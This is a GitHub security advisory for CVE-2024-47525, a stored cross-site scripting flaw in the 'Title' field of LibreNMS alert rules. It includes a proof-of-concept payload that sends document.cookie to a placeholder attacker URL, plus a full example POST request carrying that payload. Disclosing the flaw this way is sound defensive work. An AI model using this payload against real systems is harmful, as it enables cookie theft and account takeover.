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LibreNMS has Stored Cross-site Scripting vulnerability in "Alert Rules" feature

Moderate severity GitHub Reviewed Published Oct 1, 2024 in librenms/librenms • Updated Oct 1, 2024

Package

composer librenms/librenms (Composer)

Affected versions

< 24.9.0

Patched versions

24.9.0

Description

Summary

A Stored Cross-Site Scripting (XSS) vulnerability in the "Alert Rules" feature allows authenticated users to inject arbitrary JavaScript through the "Title" field. This vulnerability can lead to the execution of malicious code in the context of other users' sessions, potentially compromising their accounts and allowing unauthorized actions.

Details

The vulnerability occurs when creating an alert rule. The application does not properly sanitize user inputs in the "Title" field, which allows an attacker to escape the attribute context where the title is injected (data-content). Despite some character restrictions, the attacker can still inject a payload that leverages available attributes on the div element to execute JavaScript automatically when the page loads.

For example, the following payload can be used:
test1'' autofocus onfocus="document.location='https://<attacker-url>/logger.php?c='+document.cookie"

This payload triggers the XSS when the affected page is loaded, automatically redirecting the user to the attacker's controlled domain with any non-httponly cookies present.

The vulnerability stems from the application not sanitizing the value of $rule['name'] before adding it to the $enabled_msg variable. This is evident in the code:

https://github.com/librenms/librenms/blob/9455173edce6971777cf6666d540eeeaf6201920/includes/html/print-alert-rules.php#L405

PoC

  1. Create a new alert rule in the LibreNMS interface.
  2. In the "Title" field, input the following payload:
    test1'' autofocus onfocus="document.location='https://<attacker-url>/logger.php?c='+document.cookie"
  3. Save the rule and trigger the alert.
  4. Observe that when the page loads, the injected JavaScript executes and redirects the user, sending their non-httponly cookies to the attacker's server.

Example Request:

POST /ajax_form.php HTTP/1.1
Host: <your_host>
X-Requested-With: XMLHttpRequest
X-CSRF-TOKEN: <your_XSRF_token>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: <your_cookie>

_token=<your_token>&device_id=-1&device_name=invalid+hostname&rule_id=17&type=alert-rules&template_id=&builder_json=%7B%22condition%22%3A%22AND%22%2C%22rules%22%3A%5B%7B%22id%22%3A%22access_points.accesspoint_id%22%2C%22field%22%3A%22access_points.accesspoint_id%22%2C%22type%22%3A%22string%22%2C%22input%22%3A%22text%22%2C%22operator%22%3A%22not_equal%22%2C%22value%22%3A%22test2'%5C%22%22%7D%5D%2C%22valid%22%3Atrue%7D&name=test1''+autofocus+onfocus%3D%22document.location%3D'https%3A%2F%2F<attacker_url>%2Flogger.php%3Fc%3D'%2Bdocument.cookie%22&builder_rule_0_filter=access_points.accesspoint_id&builder_rule_0_operator=not_equal&builder_rule_0_value_0=test2'%22&severity=warning&count=1&delay=1m&interval=5m&recovery=on&acknowledgement=on&maps%5B%5D=1&proc=&notes=Test2'%22&override_query=on&adv_query=select+'test3'%22'%3B

Impact

It could allow authenticated users to execute arbitrary JavaScript code in the context of other users' sessions. Impacted users could have their accounts compromised, enabling the attacker to perform unauthorized actions on their behalf.

References

@murrant murrant published to librenms/librenms Oct 1, 2024
Published to the GitHub Advisory Database Oct 1, 2024
Reviewed Oct 1, 2024
Published by the National Vulnerability Database Oct 1, 2024
Last updated Oct 1, 2024

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required High
User interaction Passive
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality High
Integrity Low
Availability Low

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:H/SI:L/SA:L/E:P

EPSS score

0.051%
(22nd percentile)

Weaknesses

CVE ID

CVE-2024-47525

GHSA ID

GHSA-j2j9-7pr6-xqwv

Source code

Credits

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